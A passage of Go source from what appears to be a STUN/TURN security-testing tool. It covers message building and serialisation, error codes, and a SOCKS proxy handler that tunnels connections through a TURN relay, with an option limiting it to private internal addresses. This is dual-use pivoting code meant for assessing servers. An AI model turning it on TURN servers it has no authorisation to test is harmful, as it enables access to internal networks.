MessageType{ 16 | Class: MsgTypeClassRequest, 17 | Method: MsgTypeMethodConnect, 18 | } 19 | 20 | s.Attributes = []Attribute{ 21 | { 22 | Type: AttrXorPeerAddress, 23 | Value: targetXOR, 24 | }, 25 | } 26 | 27 | return s, nil 28 | } 29 | 30 | // ConnectRequestAuth returns an authorized CONNECT request 31 | func ConnectRequestAuth(username, password, nonce, realm string, target netip.Addr, port uint16) (*Stun, error) { 32 | s := newStun() 33 | targetXOR, err := xorAddr(target, port, []byte(s.Header.TransactionID)) 34 | if err != nil { 35 | return nil, err 36 | } 37 | s.Username = username 38 | s.Password = password 39 | s.Header.MessageType = MessageType{ 40 | Class: MsgTypeClassRequest, 41 | Method: MsgTypeMethodConnect, 42 | } 43 | 44 | s.Attributes = []Attribute{ 45 | { 46 | Type: AttrXorPeerAddress, 47 | Value: targetXOR, 48 | }, { 49 | Type: AttrUsername, 50 | Value: []byte(username), 51 | }, { 52 | Type: AttrRealm, 53 | Value: []byte(realm), 54 | }, { 55 | Type: AttrNonce, 56 | Value: []byte(nonce), 57 | }, 58 | } 59 | 60 | return s, nil 61 | } 62 | 63 | // ConnectionBindRequest creates a CONNECTION BIND request 64 | func ConnectionBindRequest(connectionID []byte, username, password, nonce, realm string) *Stun { 65 | s := newStun() 66 | s.Username = username 67 | s.Password = password 68 | s.Header.MessageType = MessageType{ 69 | Class: MsgTypeClassRequest, 70 | Method: MsgTypeMethodConnectionBind, 71 | } 72 | 73 | s.Attributes = []Attribute{ 74 | { 75 | Type: AttrConnectionID, 76 | Value: connectionID, 77 | }, { 78 | Type: AttrUsername, 79 | Value: []byte(username), 80 | }, { 81 | Type: AttrRealm, 82 | Value: []byte(realm), 83 | }, { 84 | Type: AttrNonce, 85 | Value: []byte(nonce), 86 | }, 87 | } 88 | 89 | return s 90 | } 91 | -------------------------------------------------------------------------------- /internal/socksimplementations/socksturntcphandler.go: -------------------------------------------------------------------------------- 1 | package socksimplementations 2 | 3 | import ( 4 | "context" 5 | "errors" 6 | "fmt" 7 | "io" 8 | "net" 9 | "net/netip" 10 | "time" 11 | 12 | socks "github.com/firefart/gosocks" 13 | "github.com/firefart/stunner/internal" 14 | "github.com/firefart/stunner/internal/helper" 15 | 16 | "github.com/sirupsen/logrus" 17 | ) 18 | 19 | // SocksTurnTCPHandler is the implementation of a TCP TURN server 20 | type SocksTurnTCPHandler struct { 21 | ControlConnection net.Conn 22 | TURNUsername string 23 | TURNPassword string 24 | Server string 25 | Timeout time.Duration 26 | UseTLS bool 27 | DropNonPrivateRequests bool 28 | Log *logrus.Logger 29 | realm string 30 | nonce string 31 | } 32 | 33 | // Init connects to the STUN server, sets the connection up and returns the data connections 34 | func (s *SocksTurnTCPHandler) Init(ctx context.Context, request socks.Request) (context.Context, io.ReadWriteCloser, *socks.Error) { 35 | var target netip.Addr 36 | var err error 37 | switch request.AddressType { 38 | case socks.RequestAddressTypeIPv4, socks.RequestAddressTypeIPv6: 39 | tmp, ok := netip.AddrFromSlice(request.DestinationAddress) 40 | if !ok { 41 | return ctx, nil, socks.NewError(socks.RequestReplyAddressTypeNotSupported, fmt.Errorf("%02x is no ip address", request.DestinationAddress)) 42 | } 43 | target = tmp 44 | case socks.RequestAddressTypeDomainname: 45 | // check if the input is an ip adress 46 | if ip, err := netip.ParseAddr(string(request.DestinationAddress)); err == nil { 47 | target = ip 48 | } else { 49 | // input is a hostname 50 | names, err := helper.ResolveName(ctx, string(request.DestinationAddress)) 51 | if err != nil { 52 | return ctx, nil, socks.NewError(socks.RequestReplyHostUnreachable, err) 53 | } 54 | if len(names) == 0 { 55 | return ctx, nil, socks.NewError(socks.RequestReplyHostUnreachable, fmt.Errorf("%s could not be resolved", string(request.DestinationAddress))) 56 | } 57 | target = names[0] 58 | } 59 | default: 60 | return ctx, nil, socks.NewError(socks.RequestReplyAddressTypeNotSupported, fmt.Errorf("AddressType %#x not implemented", request.AddressType)) 61 | } 62 | 63 | if s.DropNonPrivateRequests && !helper.IsPrivateIP(target) { 64 | s.Log.Debugf("dropping non private connection to %s:%d", target.String(), request.DestinationPort) 65 | return ctx, nil, socks.NewError(socks.RequestReplyHostUnreachable, fmt.Errorf("dropping non private connection to %s:%d", target.String(), request.DestinationPort)) 66 | } 67 | 68 | realm, nonce, controlConnection, dataConnection, err := internal.SetupTurnTCPConnection(ctx, s.Log, s.Server, s.UseTLS, s.Timeout, target, request.DestinationPort, s.TURNUsername, s.TURNPassword) 69 | if err != nil { 70 | return ctx, nil, socks.NewError(socks.RequestReplyHostUnreachable, err) 71 | } 72 | s.realm = realm 73 | s.nonce = nonce 74 | 75 | // we need to keep this connection open 76 | s.ControlConnection = controlConnection 77 | return ctx, dataConnection, nil 78 | } 79 | 80 | // Refresh is used to refresh an active connection every 2 minutes 81 | func (s *SocksTurnTCPHandler) Refresh(ctx context.Context) { 82 | nonce := s.nonce 83 | realm := s.realm 84 | tick := time.NewTicker(5 * time.Minute) // default timeout on coturn is 600 seconds (10 minutes) 85 | for { 86 | select { 87 | case <-ctx.Done(): 88 | return 89 | case <-tick.C: 90 | s.Log.Debug("[socks] refreshing connection") 91 | refresh := internal.RefreshRequest(s.TURNUsername, s.TURNPassword, nonce, realm) 92 | response, err := refresh.SendAndReceive(ctx, s.Log, s.ControlConnection, s.Timeout) 93 | if err != nil { 94 | s.Log.Error(err) 95 | return 96 | } 97 | // should happen on a stale nonce 98 | if response.Header.MessageType.Class == internal.MsgTypeClassError { 99 | realm := string(response.GetAttribute(internal.AttrRealm).Value) 100 | nonce := string(response.GetAttribute(internal.AttrNonce).Value) 101 | s.nonce = nonce 102 | s.realm = realm 103 | refresh = internal.RefreshRequest(s.TURNUsername, s.TURNPassword, nonce, realm) 104 | response, err = refresh.SendAndReceive(ctx, s.Log, s.ControlConnection, s.Timeout) 105 | if err != nil { 106 | s.Log.Error(err) 107 | return 108 | } 109 | if response.Header.MessageType.Class == internal.MsgTypeClassError { 110 | s.Log.Error(response.GetErrorString()) 111 | return 112 | } 113 | } 114 | } 115 | } 116 | } 117 | 118 | const bufferLength = 1024 * 100 119 | 120 | type readDeadline interface { 121 | SetReadDeadline(time.Time) error 122 | } 123 | type writeDeadline interface { 124 | SetWriteDeadline(time.Time) error 125 | } 126 | 127 | // ReadFromClient is used to copy data 128 | func (s *SocksTurnTCPHandler) ReadFromClient(ctx context.Context, client io.ReadCloser, remote io.WriteCloser) error { 129 | for { 130 | // anonymous func for defer 131 | // this might not be the fastest, but it does the trick 132 | // in this case the timeout is per buffer read/write to support 133 | // long-running downloads. 134 | err := func() error { 135 | timeOut := time.Now().Add(s.Timeout) 136 | 137 | ctx, cancel := context.WithDeadline(ctx, timeOut) 138 | defer cancel() 139 | 140 | select { 141 | case <-ctx.Done(): 142 | return ctx.Err() 143 | default: 144 | if c, ok := remote.(writeDeadline); ok { 145 | if err := c.SetWriteDeadline(timeOut); err != nil { 146 | return fmt.Errorf("could not set write deadline on remote: %v", err) 147 | } 148 | } 149 | 150 | if c, ok := client.(readDeadline); ok { 151 | if err := c.SetReadDeadline(timeOut); err != nil { 152 | return fmt.Errorf("could not set read deadline on client: %v", err) 153 | } 154 | } 155 | 156 | i, err := io.CopyN(remote, client, bufferLength) 157 | if errors.Is(err, io.EOF) { 158 | return nil 159 | } else if err != nil { 160 | return fmt.Errorf("ReadFromClient: %w", err) 161 | } 162 | s.Log.Debugf("[socks] wrote %d bytes to client", i) 163 | } 164 | return nil 165 | }() 166 | if err != nil { 167 | return err 168 | } 169 | } 170 | } 171 | 172 | // ReadFromRemote is used to copy data 173 | func (s *SocksTurnTCPHandler) ReadFromRemote(ctx context.Context, remote io.ReadCloser, client io.WriteCloser) error { 174 | for { 175 | // anonymous func for defer 176 | // this might not be the fastest, but it does the trick 177 | // in this case the timeout is per buffer read/write to support 178 | // long-running downloads. 179 | err := func() error { 180 | timeOut := time.Now().Add(s.Timeout) 181 | 182 | ctx, cancel := context.WithDeadline(ctx, timeOut) 183 | defer cancel() 184 | 185 | select { 186 | case <-ctx.Done(): 187 | return ctx.Err() 188 | default: 189 | if c, ok := client.(writeDeadline); ok { 190 | if err := c.SetWriteDeadline(timeOut); err != nil { 191 | return fmt.Errorf("could not set write deadline on client: %v", err) 192 | } 193 | } 194 | 195 | if c, ok := remote.(readDeadline); ok { 196 | if err := c.SetReadDeadline(timeOut); err != nil { 197 | return fmt.Errorf("could not set read deadline on remote: %v", err) 198 | } 199 | } 200 | 201 | i, err := io.CopyN(client, remote, bufferLength) 202 | if errors.Is(err, io.EOF) { 203 | return nil 204 | } else if err != nil { 205 | return fmt.Errorf("ReadFromRemote: %w", err) 206 | } 207 | s.Log.Debugf("[socks] wrote %d bytes to remote", i) 208 | } 209 | return nil 210 | }() 211 | if err != nil { 212 | return err 213 | } 214 | } 215 | } 216 | 217 | // Close closes the stored control connection 218 | func (s *SocksTurnTCPHandler) Close(_ context.Context) error { 219 | if s.ControlConnection != nil { 220 | return s.ControlConnection.Close() 221 | } 222 | return nil 223 | } 224 | -------------------------------------------------------------------------------- /internal/stun.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "strings" 7 | 8 | "github.com/firefart/stunner/internal/helper" 9 | ) 10 | 11 | // newStun creates a new STUN object 12 | func newStun() *Stun { 13 | return &Stun{ 14 | Header: Header{ 15 | TransactionID: helper.RandomString(12), 16 | }, 17 | } 18 | } 19 | 20 | // GetErrorString returns the error string from the Error Attribute if present 21 | func (s *Stun) GetErrorString() string { 22 | for _, a := range s.Attributes { 23 | if a.Type == AttrErrorCode { 24 | attrError := ParseError(a.Value) 25 | // update error text if server did not provide one 26 | if len(strings.TrimSpace(attrError.ErrorText)) == 0 { 27 | if tmp, ok := StunErrorNames[attrError.ErrorCode]; ok { 28 | attrError.ErrorText = tmp 29 | } else if tmp, ok := TurnErrorNames[attrError.ErrorCode]; ok { 30 | attrError.ErrorText = tmp 31 | } else if tmp, ok := TurnTCPErrorNames[attrError.ErrorCode]; ok { 32 | attrError.ErrorText = tmp 33 | } else { 34 | attrError.ErrorText = "Invalid Error" 35 | } 36 | } 37 | return fmt.Sprintf("Error %d: %s", attrError.ErrorCode, attrError.ErrorText) 38 | } 39 | } 40 | return "" 41 | } 42 | 43 | // String returns a printable representation of the object 44 | func (s *Stun) String() string { 45 | str := "" 46 | str += "Header:\n" 47 | str += fmt.Sprintf("\tMessage Type: %s(%02x) %s(%02x)\n", MessageTypeMethodString(s.Header.MessageType.Method), s.Header.MessageType.Method, MessageTypeClassString(s.Header.MessageType.Class), s.Header.MessageType.Class) 48 | str += fmt.Sprintf("\tMessage Length: %d\n", s.Header.MessageLength) 49 | str += fmt.Sprintf("\tMessage Transaction ID: %02x\n", s.Header.TransactionID) 50 | str += "Attributes\n" 51 | for _, a := range s.Attributes { 52 | str += fmt.Sprintf("\t%s\n", a.String(s.Header.TransactionID)) 53 | } 54 | return strings.TrimSpace(str) 55 | } 56 | 57 | // Serialize converts the object into a byte stream 58 | func (s *Stun) Serialize() ([]byte, error) { 59 | // first start with the attributes so we can calculate the message length afterward 60 | var attributes []byte 61 | authenticated := false 62 | for _, a := range s.Attributes { 63 | attributeByte := a.Serialize() 64 | attributes = append(attributes, attributeByte...) 65 | if a.Type == AttrUsername { 66 | authenticated = true 67 | } 68 | } 69 | 70 | integrityPos := len(attributes) 71 | if authenticated { 72 | attributes = append(attributes, helper.PutUint16(AttrMessageIntegrity.Value())...) 73 | attributes = append(attributes, helper.PutUint16(messageIntegritySize)...) 74 | // dummy data, will be replaced later after calculating the main header 75 | attributes = append(attributes, []byte("_DUMMYDATADUMMYDATA_")...) 76 | } 77 | 78 | // fingerprintPos := len(attributes) 79 | // attributes = append(attributes, PutUint16(AttrFingerprint.Value())...) 80 | // attributes = append(attributes, PutUint16(fingerPrintSize)...) 81 | // attributes = append(attributes, []byte("!!!!")...) 82 | 83 | var buf []byte 84 | buf = append(buf, s.Header.MessageType.Serialize()...) 85 | // Length 86 | buf = append(buf, helper.PutUint16(uint16(len(attributes)))...) 87 | // MagicCookie 88 | buf = append(buf, MagicCookie...) 89 | if s.Header.TransactionID == "" { 90 | return nil, fmt.Errorf("missing transaction ID") 91 | } 92 | buf = append(buf, s.Header.TransactionID...) 93 | 94 | buf = append(buf, attributes...) 95 | 96 | if authenticated { 97 | realm := string(s.GetAttribute(AttrRealm).Value) 98 | // update message integrity 99 | // buffer needs to be without message integrity and fingerprint, but the length needs to be correct 100 | messageInt, err := calculateMessageIntegrity(buf[:integrityPos+headerSize], s.Username, realm, s.Password) 101 | if err != nil { 102 | return nil, err 103 | } 104 | buf = bytes.ReplaceAll(buf, []byte("_DUMMYDATADUMMYDATA_"), messageInt) 105 | } 106 | 107 | // Fingerprint 108 | // fingerPrint := generateFingerprint(buf[:fingerprintPos+headerSize]) 109 | // buf = bytes.ReplaceAll(buf, []byte("!!!!"), fingerPrint) 110 | 111 | // trim buffer 112 | return buf, nil 113 | } 114 | 115 | // GetAttribute gets a single Attribute. Returns an empty Attribute if not found 116 | func (s *Stun) GetAttribute(attr AttributeType) Attribute { 117 | for _, a := range s.Attributes { 118 | if a.Type == attr { 119 | return a 120 | } 121 | } 122 | return Attribute{} 123 | } 124 | -------------------------------------------------------------------------------- /internal/types_stun.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "fmt" 7 | 8 | "github.com/firefart/stunner/internal/helper" 9 | ) 10 | 11 | const ( 12 | headerSize = 20 13 | messageIntegritySize = 20 14 | ) 15 | 16 | // nolint:unused 17 | const fingerPrintSize = 4 18 | 19 | // MagicCookie is the fixed value according to the rfc 20 | var MagicCookie = []byte{'\x21', '\x12', '\xa4', '\x42'} 21 | 22 | // Stun is the main object 23 | type Stun struct { 24 | Header Header 25 | Attributes []Attribute 26 | Username string 27 | Password string 28 | Log DebugLogger 29 | } 30 | 31 | // RequestedTransport represents the requested transport 32 | type RequestedTransport uint32 33 | 34 | var ( 35 | // RequestedTransportTCP represents TCP 36 | RequestedTransportTCP RequestedTransport = 0x00000006 37 | // RequestedTransportUDP represents UDP 38 | RequestedTransportUDP RequestedTransport = 0x00000011 39 | ) 40 | 41 | var requestedTransportNames = map[RequestedTransport]string{ 42 | RequestedTransportTCP: "TCP", 43 | RequestedTransportUDP: "UDP", 44 | } 45 | 46 | /* 47 | 0 1 2 3 48 | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 49 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 50 | |0 0| STUN Message Type | Message Length | 51 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 52 | | Magic Cookie | 53 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 54 | | | 55 | | Transaction ID (96 bits) | 56 | | | 57 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 58 | */ 59 | 60 | // Header represents the header of a STUN message 61 | type Header struct { 62 | MessageType MessageType 63 | MessageLength uint16 64 | TransactionID string 65 | } 66 | 67 | /* 68 | MessageType represents the message type 69 | 70 | For example, a Binding request has class=0b00 (request) and 71 | method=0b000000000001 (Binding) and is encoded into the first 16 bits 72 | as 0x0001. A Binding response has class=0b10 (success response) and 73 | method=0b000000000001, and is encoded into the first 16 bits as 74 | 0x0101. 75 | */ 76 | type MessageType struct { 77 | Class MessageTypeClass 78 | Method MessageTypeMethod 79 | } 80 | 81 | // Serialize converts the MessageType into a byte array 82 | func (m MessageType) Serialize() []byte { 83 | tmp := m.toUint16() 84 | return helper.PutUint16(tmp) 85 | } 86 | 87 | func (m MessageType) toUint16() uint16 { 88 | class := ((uint16(m.Class) & 0x02) << 7) | ((uint16(m.Class) & 0x01) << 4) 89 | method := uint16(m.Method) & 0x3EEF 90 | return class | method 91 | } 92 | 93 | // MessageTypeClass represents the Class 94 | type MessageTypeClass uint8 95 | 96 | const ( 97 | // MsgTypeClassRequest https://tools.ietf.org/html/rfc5389#section-6 98 | MsgTypeClassRequest MessageTypeClass = 0x00 99 | // MsgTypeClassIndication https://tools.ietf.org/html/rfc5389#section-6 100 | MsgTypeClassIndication MessageTypeClass = 0x01 101 | // MsgTypeClassSuccess https://tools.ietf.org/html/rfc5389#section-6 102 | MsgTypeClassSuccess MessageTypeClass = 0x02 103 | // MsgTypeClassError https://tools.ietf.org/html/rfc5389#section-6 104 | MsgTypeClassError MessageTypeClass = 0x03 105 | ) 106 | 107 | var msgTypeClassNames = map[MessageTypeClass]string{ 108 | MsgTypeClassRequest: "Request", 109 | MsgTypeClassIndication: "Indication", 110 | MsgTypeClassSuccess: "Success Response", 111 | MsgTypeClassError: "Error Response", 112 | } 113 | 114 | // MessageTypeMethod holds the STUN method 115 | type MessageTypeMethod uint16 116 | 117 | const ( 118 | // MsgTypeMethodBinding https://tools.ietf.org/html/rfc5389#section-18.1 119 | MsgTypeMethodBinding MessageTypeMethod = 0x01 120 | ) 121 | 122 | var msgTypeMethodNames = map[MessageTypeMethod]string{ 123 | MsgTypeMethodBinding: "Binding", 124 | } 125 | 126 | /* 127 | 0 1 2 3 128 | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 129 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 130 | | Type | Length | 131 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 132 | | Value (variable) .... 133 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 134 | */ 135 | 136 | // Attribute represents a single STUN attribute 137 | type Attribute struct { 138 | Type AttributeType 139 | Length uint16 140 | Value []byte 141 | 142 | padding uint16 143 | } 144 | 145 | func (a *Attribute) String(transactionID string) string { 146 | value := "" 147 | attrType := AttributeTypeString(a.Type) 148 | switch a.Type { 149 | // STUN 150 | case AttrMappedAddress: 151 | value = string(a.Value) 152 | case AttrUsername: 153 | value = string(a.Value) 154 | case AttrMessageIntegrity: 155 | value = fmt.Sprintf("%02x", a.Value) 156 | case AttrErrorCode: 157 | attrError := ParseError(a.Value) 158 | value = fmt.Sprintf("Error %d: %s", attrError.ErrorCode, attrError.ErrorText) 159 | case AttrUnknownAttributes: 160 | value = string(a.Value) 161 | case AttrRealm: 162 | value = string(a.Value) 163 | case AttrNonce: 164 | value = string(a.Value) 165 | case AttrRequestedAddressFamily: 166 | value = RequestedAddressFamilyString(AllocateProtocol(a.Value[0])) 167 | case AttrXorMappedAddress: 168 | host, port, _ := ConvertXORAddr(a.Value, transactionID) 169 | value = fmt.Sprintf("%02x (%s:%d)", a.Value, host, port) 170 | case AttrSoftware: 171 | value = string(a.Value) 172 | case AttrAlternateServer: 173 | value = string(a.Value) 174 | case AttrFingerprint: 175 | value = fmt.Sprintf("%02x", a.Value) 176 | // TURN 177 | case AttrChannelNumber: 178 | value = string(a.Value) 179 | case AttrLifetime: 180 | value = fmt.Sprintf("%d", binary.BigEndian.Uint32(a.Value)) 181 | case AttrBandwidth: 182 | value = string(a.Value) 183 | case AttrXorPeerAddress: 184 | host, port, _ := ConvertXORAddr(a.Value, transactionID) 185 | value = fmt.Sprintf("%02x (%s:%d)", a.Value, host, port) 186 | case AttrData: 187 | value = fmt.Sprintf("%s (%02x)", a.Value, a.Value) 188 | case AttrXorRelayedAddress: 189 | host, port, _ := ConvertXORAddr(a.Value, transactionID) 190 | value = fmt.Sprintf("%02x (%s:%d)", a.Value, host, port) 191 | case AttrEvenPort: 192 | value = string(a.Value) 193 | case AttrRequestedTransport: 194 | value = RequestedTransportString(RequestedTransport(binary.LittleEndian.Uint16(a.Value))) 195 | case AttrDontFragment: 196 | value = string(a.Value) 197 | case AttrTimerVal: 198 | value = string(a.Value) 199 | case AttrReservationToken: 200 | value = string(a.Value) 201 | // TURNTCP 202 | case AttrConnectionID: 203 | value = fmt.Sprintf("%02x", a.Value) 204 | default: 205 | var v string 206 | if helper.IsPrintable(string(a.Value)) { 207 | v = string(a.Value) 208 | } else { 209 | v = fmt.Sprintf("%02x", a.Value) 210 | } 211 | value = fmt.Sprintf("\t%02x (%d): %s", a.Type, a.Length, v) 212 | } 213 | 214 | padding := "" 215 | if a.padding > 0 { 216 | padding = fmt.Sprintf(" Padding: %d", a.padding) 217 | } 218 | return fmt.Sprintf("%s: %s%s", attrType, value, padding) 219 | } 220 | 221 | // Serialize returns the byte slice representation of an attribute 222 | func (a *Attribute) Serialize() []byte { 223 | if a.Length == 0 { 224 | a.Length = uint16(len(a.Value)) 225 | } 226 | 227 | var buf []byte 228 | buf = append(buf, helper.PutUint16(a.Type.Value())...) 229 | buf = append(buf, helper.PutUint16(a.Length)...) 230 | buf = append(buf, a.Value...) 231 | buf = Padding(buf) 232 | 233 | return buf 234 | } 235 | 236 | // AttributeType defines the type of the attribute 237 | type AttributeType uint16 238 | 239 | // Value returns the uint16 value of an AttributeType 240 | func (a AttributeType) Value() uint16 { 241 | return uint16(a) 242 | } 243 | 244 | const ( 245 | // AttrMappedAddress https://tools.ietf.org/html/rfc5389#section-15.1 246 | AttrMappedAddress AttributeType = 0x0001 247 | // AttrUsername https://tools.ietf.org/html/rfc5389#section-15.3 248 | AttrUsername AttributeType = 0x0006 249 | // AttrMessageIntegrity https://tools.ietf.org/html/rfc5389#section-15.4 250 | AttrMessageIntegrity AttributeType = 0x0008 251 | // AttrErrorCode https://tools.ietf.org/html/rfc5389#section-15.6 252 | AttrErrorCode AttributeType = 0x0009 253 | // AttrUnknownAttributes https://tools.ietf.org/html/rfc5389#section-15.9 254 | AttrUnknownAttributes AttributeType = 0x000a 255 | // AttrRealm https://tools.ietf.org/html/rfc5389#section-15.7 256 | AttrRealm AttributeType = 0x0014 257 | // AttrNonce https://tools.ietf.org/html/rfc5389#section-15.8 258 | AttrNonce AttributeType = 0x0015 259 | // https://datatracker.ietf.org/doc/html/rfc6156#section-10.1 260 | AttrRequestedAddressFamily = 0x0017 261 | // AttrXorMappedAddress https://tools.ietf.org/html/rfc5389#section-15.2 262 | AttrXorMappedAddress AttributeType = 0x0020 263 | // AttrSoftware https://tools.ietf.org/html/rfc5389#section-15.10 264 | AttrSoftware AttributeType = 0x8022 265 | // AttrAlternateServer https://tools.ietf.org/html/rfc5389#section-15.11 266 | AttrAlternateServer AttributeType = 0x8023 267 | // AttrFingerprint https://tools.ietf.org/html/rfc5389#section-15.5 268 | AttrFingerprint AttributeType = 0x8028 269 | 270 | // old RFC5780 https://www.rfc-editor.org/rfc/rfc5780#section-7 271 | AttrChangeRequest AttributeType = 0x0003 272 | AttrPadding AttributeType = 0x0026 273 | AttrResponsePort AttributeType = 0x0027 274 | AttrResponseOrigin AttributeType = 0x802b 275 | AttrOtherAddress AttributeType = 0x802c 276 | ) 277 | 278 | var attrNames = map[AttributeType]string{ 279 | AttrMappedAddress: "MAPPED-ADDRESS", 280 | AttrUsername: "USERNAME", 281 | AttrMessageIntegrity: "MESSAGE-INTEGRITY", 282 | AttrErrorCode: "ERROR-CODE", 283 | AttrUnknownAttributes: "UNKNOWN-ATTRIBUTES", 284 | AttrRealm: "REALM", 285 | AttrNonce: "NONCE", 286 | AttrRequestedAddressFamily: "REQUESTED-ADDRESS-FAMILY", 287 | AttrXorMappedAddress: "XOR-MAPPED-ADDRESS", 288 | AttrSoftware: "SOFTWARE", 289 | AttrAlternateServer: "ALTERNATE-SERVER", 290 | AttrFingerprint: "FINGERPRINT", 291 | AttrChangeRequest: "CHANGE-REQUEST", 292 | AttrPadding: "PADDING", 293 | AttrResponsePort: "RESPONSE-PORT", 294 | AttrResponseOrigin: "RESPONSE-ORIGIN", 295 | AttrOtherAddress: "OTHER-ADDRESS", 296 | } 297 | 298 | /* 299 | Error holds the Error Attribute 300 | 301 | 0 1 2 3 302 | 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 303 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 304 | | Reserved, should be 0 |Class| Number | 305 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 306 | | Reason Phrase (variable) .. 307 | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 308 | */ 309 | type Error struct { 310 | ErrorCode ErrorCode 311 | ErrorText string 312 | } 313 | 314 | // ParseError returns an Error type from a byte slice 315 | func ParseError(buf []byte) Error { 316 | errorCode := int(buf[2])*100 + int(buf[3]) 317 | errorText := buf[4:] 318 | return Error{ 319 | ErrorCode: ErrorCode(errorCode), 320 | ErrorText: string(bytes.Trim(errorText, "\x00")), 321 | } 322 | } 323 | 324 | // ErrorCode defines the returned error code 325 | type ErrorCode uint16 326 | 327 | const ( 328 | // ErrorTryAlternate error 329 | /* 330 | Try Alternate: The client should contact an alternate server for 331 | this request. This error response MUST only be sent if the 332 | request included a USERNAME attribute and a valid MESSAGE- 333 | INTEGRITY attribute; otherwise, it MUST NOT be sent and error 334 | code 400 (Bad Request) is suggested. This error response MUST 335 | be protected with the MESSAGE-INTEGRITY attribute, and receivers 336 | MUST validate the MESSAGE-INTEGRITY of this response before 337 | redirecting themselves to an alternate server. 338 | Note: Failure to generate and validate message integrity 339 | for a 300 response allows an on-path attacker to falsify a 340 | 300 response thus causing subsequent STUN messages to be 341 | sent to a victim. 342 | */ 343 | ErrorTryAlternate ErrorCode = 300 344 | // ErrorBadRequest error 345 | /* 346 | Bad Request: The request was malformed. The client SHOULD NOT 347 | retry the request without modification from the previous 348 | attempt. The server may not be able to generate a valid 349 | MESSAGE-INTEGRITY for this error, so the client MUST NOT expect 350 | a valid MESSAGE-INTEGRITY attribute on this response. 351 | */ 352 | ErrorBadRequest ErrorCode = 400 353 | // ErrorUnauthorized error 354 | /* 355 | Unauthorized: The request did not contain the correct 356 | credentials to proceed. The client should retry the request 357 | with proper credentials. 358 | */ 359 | ErrorUnauthorized ErrorCode = 401 360 | // ErrorUnknownAttribute error 361 | /* 362 | Unknown Attribute: The server received a STUN packet containing 363 | a comprehension-required attribute that it did not understand. 364 | The server MUST put this unknown attribute in the UNKNOWN- 365 | ATTRIBUTE attribute of its error response. 366 | */ 367 | ErrorUnknownAttribute ErrorCode = 420 368 | // ErrorStaleNonce error 369 | /* 370 | Stale Nonce: The NONCE used by the client was no longer valid. 371 | The client should retry, using the NONCE provided in the 372 | response. 373 | */ 374 | ErrorStaleNonce ErrorCode = 438 375 | // https://datatracker.ietf.org/doc/html/rfc6156#section-10.2 376 | ErrorAddressFamilyNotSupported ErrorCode = 440 377 | // https://datatracker.ietf.org/doc/html/rfc6156#section-10.2 378 | ErrorPeerAddressFamilyMissmatch ErrorCode = 443 379 | // ErrorServerError error 380 | /* 381 | Server Error: The server has suffered a temporary error. The 382 | client should try again. 383 | */ 384 | ErrorServerError ErrorCode = 500 385 | ) 386 | 387 | // nolint:unused 388 | var StunErrorNames = map[ErrorCode]string{ 389 | ErrorTryAlternate: "Try Alternate", 390 | ErrorBadRequest: "Bad Request", 391 | ErrorUnauthorized: "Unauthorized", 392 | ErrorUnknownAttribute: "Unknown Attribute", 393 | ErrorStaleNonce: "Stale Nonce", 394 | ErrorAddressFamilyNotSupported: "Address Family not supported", 395 | ErrorPeerAddressFamilyMissmatch: "Peer Address Family Missmatch", 396 | ErrorServerError: "Server Error", 397 | } 398 | -------------------------------------------------------------------------------- /internal/types_turn.go: -------------------------------------------------------------------------------- 1 | package internal 2 | 3 | /* 4 | 0x003 : Allocate (only request/response semantics defined) 5 | 0x004 : Refresh (only request/response semantics defined) 6 | 0x006 : Send (only indication semantics defined) 7 | 0x007 : Data (only indication semantics defined) 8 | 0x008 : CreatePermission (only request/response semantics defined) 9 | 0x009 : ChannelBind (only request/response semantics defined) 10 | 11 | This STUN extension defines the following new attributes: 12 | 13 | 0x000C: CHANNEL-NUMBER 14 | 0x000D: LIFETIME 15 | 0x0010: Reserved (was BANDWIDTH) 16 | 0x0012: XOR-PEER-ADDRESS 17 | 0x0013: DATA 18 | 0x0016: XOR-RELAYED-ADDRESS 19 | 0x0018: EVEN-PORT 20 | 0x0019: REQUESTED-TRANSPORT 21 | 0x001A: DONT-FRAGMENT 22 | 0x0021: Reserved (was TIMER-VAL) 23 | 0x0022: RESERVATION-TOKEN 24 | 25 | 26 | This document defines the following new error response codes: 27 | 28 | 403 (Forbidden): The request was valid but cannot be performed due 29 | to administrative or similar restrictions. 30 | 31 | 437 (Allocation Mismatch): A request was received by the server that 32 | requires an allocation to be in place, but no allocation exists, 33 | or a request was received that requires no allocation, but an 34 | allocation exists. 35 | 36 | 441 (Wrong Credentials): The credentials in the (non-Allocate) 37 | request do not match those used to create the allocation. 38 | 39 | 442 (Unsupported Transport Protocol): The Allocate request asked the 40 | server to use a transport protocol between the server and the peer 41 | that the server does not support. NOTE: This does NOT refer to 42 | the transport protocol used in the 5-tuple. 43 | 44 | 486 (Allocation Quota Reached): No more allocations using this 45 | username can be created at the present time. 46 | 47 | 508 (Insufficient Capacity): The server is unable to carry out 